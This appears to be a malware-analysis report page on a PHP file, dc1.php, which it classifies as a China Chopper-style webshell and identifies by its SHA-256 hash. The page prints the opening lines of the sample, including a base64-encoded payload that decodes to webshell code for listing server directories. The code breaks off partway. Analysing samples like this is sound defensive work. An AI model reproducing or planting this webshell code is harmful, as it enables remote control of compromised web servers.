Hostile ^100% php-malware-analysis Download

dc1.php

PHP webshell with obfuscated payload

China Chopper protocol webshellphp webshell containing base64 encoded payload

SHA-256b32abc7eb7514f3c0bc6989c91760367fd822d1d66425a959a4f569b183cdace

MaleculeK(Mc)O₂(C₂Xe)H₆(Cm₆DbF₂Os₃Po₃U)MdTh

Evidence

URL parameter fetched and executed lines 1–2

1<?php
2$z0 = 'OTkwMTI5O0Bpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7QHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTtlY2hvKCItPnwiKTskST0wOyREPWlzc2V0KCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10pPyRfU0VSVkVSWydET0NVTUVOVF9ST09UJ106KGlzc2V0KCRfU0VSVkVSWydBUFBMX1BIWVNJQ0FMX1BBVEgnXSk/dHJpbSgkX1NFUlZFUlsnQVBQTF9QSFlTSUNBTF9QQVRIJ10sIlxcIik6KGlzc2V0KCRfWydQQVRIX1RSQU5TTEFURUQnXSk/c3RyX3JlcGxhY2UoJF9TRVJWRVJbIlBIUF9TRUxGIl0pOnN0cl9yZXBsYWNlKHN0cl9yZXBsYWNlKCIvIiwiXFwiLGlzc2V0KCRfU0VSVkVSWyJQSFBfU0VMRiJdKT8kX1NFUlZFUlsiUEhQX1NFTEYiXTooaXNzZXQoJF9TRVJWRVJbIlVSTCJdKT8kX1NFUlZFUlsiVVJMIl06JF9TRVJWRVJbIlNDUklQVF9OQU1FIl0pKSwiIixpc3NldCgkX1NFUlZFUlsiUEFUSF9UUkFOU0xBVEVEIl0pPyRfU0VSVkVSWyJQQVRIX1RSQU5TTEFURUQiXTokX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pKSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRG …